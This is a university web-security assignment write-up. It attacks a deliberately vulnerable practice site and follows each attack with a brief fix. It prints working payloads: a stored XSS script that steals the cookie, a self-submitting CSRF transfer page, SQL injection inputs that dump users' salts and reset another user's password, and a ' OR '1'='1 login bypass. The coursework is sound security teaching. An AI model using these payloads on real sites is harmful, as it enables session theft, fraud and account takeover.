Proactive Computer Security

Assignment 1

Web Security

Casper B. Hansen
University of Copenhagen
Department of Computer Science

February 19, 2016

Abstract

This assignment deals with common issues in web security. We start by taking a black-box approach of exploiting unescaped requests and insecure form validations. We then move on to a white-box assessment of SQL injection vulnerabilities in the system.

All topics covered are briefly commented on afterward with regard to possible fixes.

Contents

1 Black Box Assessment

1.1 Cookie Theft

Our objective is to send a message to the `rloewe` user, and upon opening this message, steal the document cookie, by sending it back to us.

There is no security measures in place that removes javascript from the message content in the POST request, so we are free to perform any action on behalf of the user who opens the message. This makes the task quite easy.

```
1  <script>
2  var req = XMLHttpRequest;
3
4  var url = "messages.php";
5  var cookie = document.cookie;
6  var user = "you";
7  var headline = "I%20brought%20cookies!";
8
9  var params = ["message_submit=submit", "user=" + user, "headline=" + headline,
       "message=" + cookie].join("&");
10
11 req.open("POST", url, true);
12 req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
13 req.send(params);
14 </script>
15 Hello, rloewe!
16
17 I\'m hungry, do you have a spare cookie?
```

Figure 1: Cookie theft message (`cookie_theft.html`)

In order to avoid suspecious browser behaviour during the attack, the employed method makes an asynchronous POST request to `messages.php`, which is the page that handles sending messages. This, along with all the parameters passed was discovered by simply reviewing the rendered HTML for the form on the page.

So, we construct an `XMLHttpRequest` on line 2, and the url to be requested on line 4. Then we establish our argument data to be sent on lines 5–7, and construct the URL encoded parameterlist on line 9. The attack then begins on line 11, where we open the request, using the POST method, constructed URL and make sure that the request is asynchronous. The request header is set on line 12, to ensure that the request is handled properly, and line 13 then sends the parameters, which in turn is handled as any normal message — this is, however, performed without the knowledge of the victim.

Lastly, lines 15–17 is simply a regular message, so as to avoid suspicion of the victim in question.

1.1.1 Possible fix

Upon receiving the request, and more importantly before making use of the passed data, the page should escape characters that can be used to terminate, or as in this case, produce an HTML element or similar malicious technique.

1.2 Cross-site Request Forgery

We want to fake a *post* request to the `http://localhost/barbarbar/transfer.php`, since by the looks of the form of the HTML source retrieved through the browser of that page, transfers do not rely on any validations, and thus we can simply construct a valid *post* request without having any session or cookie information at all.

We start out by planning our escape plan; redirection to the `http://yesimparanoid.com/` site, which is defined on lines 7–9 as a function we will be using as a callback when the attack is completed.

Since we must ensure that the user does not suspect anything, we will set up an `iframe` as done on line 12, where we will direct our request to.

We then replicate the form found in the HTML source retrieved from the browser on the `transfer.php` page, but using constant values for the inputs and ensuring that all parts that would be sent by the original form would also be sent using our reconstruction — particularly, we have to make "submission" an explicit value, rather than a button.

All that remains is to submit the form upon loading the document, which is done on line 20. Do note that the `iframe` will call `callback` when it has completed the attack as a result of specifying that function in the `onload` attribute.

```
1  <html>
2      <head>
3          <title>Cross-site Request Forgery</title>
4      </head>
5      <body>
6          <script>
7              function callback() {
8                  window.location = "http://yesimparanoid.com/";
9              }
10         </script>
11
12         <iframe name="fake" onload="callback()"></iframe>
13         <form name="transferform" action="http://localhost/transfer.php"
               method="POST" target="fake">
14             <input name="coins" type="hidden" value="10" />
15             <input name="recipient" type="hidden" value="you" />
16             <input name="submission" type="hidden" value="Send" />
17         </form>
18
19         <script>
20             document.transferform.submit();
21         </script>
22     </body>
23 </html>
```

Figure 2: XSRF document (`XSRF.html`)

1.2.1 Possible fix

This vulnerability could be eliminated by checking the referer of the request. In PHP this is found in the server variable `$_SERVER['HTTP_REFERER']`. A site should never trust any other referer than itself and possibly explicitly white-list declared referers.

2 White Box Assessment

2.1 Acquiring private user data

In the file `index.php` on lines 20–21 an SQL query is constructed from the text field data supplied by the `profileform` on lines 14–29. The PHP preparations for the SQL statement looks as follows.

```
1 UPDATE Person
2 SET Profile = '$profile'
3 WHERE ProfileId = $user->id
```

Figure 3: Profile update SQL statement

Since MySQL allows for updating multiple values we can append any number of columns and give them values to our liking. All we have to ensure is that we terminate the opened quote. The statement below is given as input.

```
1 ', Person.DikuCoins = 100, Person.Profile =
2 (
3     SELECT GROUP_CONCAT( CONCAT(Tmp.PersonId, '\t', Tmp.Username, '\t', Tmp.
          Salt, '\t', Tmp.DikuCoins) SEPARATOR '\n')
4     FROM (SELECT * FROM Person) AS Tmp
5 ),
6 Username='<your-username>
```

Figure 4: Profile update input

The statement above terminates the opened quote on line 1, and then by comma separation of each column we wish to update we supply the data we want to alter.

```
1 1   kflarsen       salt   42
2 2   br0ns          beef   42
3 3   kokjo          4242   42
4 4   kristoff3r     4242   42
5 5   NicolaiNebel   4242   42
6 6   rloewe         4242   42
7 7   you            evil   20
```

Figure 5: Resulting profile from SQL injection

As can be seen, we set our own DIKU coins to 100 — just for fun — on line 2, and on lines 3–7 we pull out all the table data using a copy of the table, named `Tmp`, which is formatted into a string, such that the `Profile` field can accept the value. Note that `Profile` is updated twice, but the last value supplied will be the one used. The last column update is a dummy, such that we can close the quote.

2.2 Altering private user data

Looking at the authentication mechanism, there is a flaw which allows for unauthorized login. The flaw occurs in `includes/auth.php` as a result of the operator precedence in SQL. It completely ignores the password if a user is supplied, followed by `' OR '1'='1`.

```
1 SELECT * FROM Person
2 WHERE Username='br0ns'
3    OR '1'='1'
4   AND Password='secret'
```

The `AND` operator has higher precedence than `OR`, and so the expression takes on the form $p \vee (q \wedge r)$. Since we know that the user br0ns exists (corresponding to the p term) the left-hand term of the $\vee$ always yields true, and because only one term of $\vee$ need be true, so is the statement.

Having access to br0ns' account, we can alter his password by applying the same technique as in (see section 2.1 on page 4). Since passwords are stored as MD5 encryptions we will have to precalculate the supplied value.

Since we have the salt already (see section 2.1 on page 4) we can replicate the algorithm by which the site calculates the stored passwords, which we can then use to update his password. Let's say that we want to change the password to "0wn3d", we would do as follows in any PHP file.

```
1 <? echo md5('0wn3d'.'beef'); ?>
```

Figure 6: Password calculation

The above produces the MD5 encrypted password "1de6ccdf75d751e707481d390f532788". So, now we simply update the profile by inputting the following statement in the profile update form on the `index.php` page.

```
1 ', Person.Profile =
2 (
3     SELECT Tmp.Profile
4     FROM (SELECT * FROM Person) AS Tmp
5     WHERE Tmp.Profile = 'br0ns'
6 ),
7 Password='1
    de6ccdf75d751e707481d390f532788
```

Figure 7: Profile update input

This effectively changes the password of br0ns' user. By precalculating the password into a real hashed password, we can now access br0ns' user using the login form by supplying the "owned" password.

2.3 Possible fixes

Both attacks abuses the fact that PHP doesn't care what is passed to it. There are two possible solutions; either escape characters that can be used to expand SQL statements in unintended ways, or use prepared SQL statements. The first is simple and somewhat effective, but still leaves the system very vulnerable. The latter makes sure that the SQL queries only requests the intended statement fields, which is far more secure. Both can be employed in this system to make it far more reliable and secure.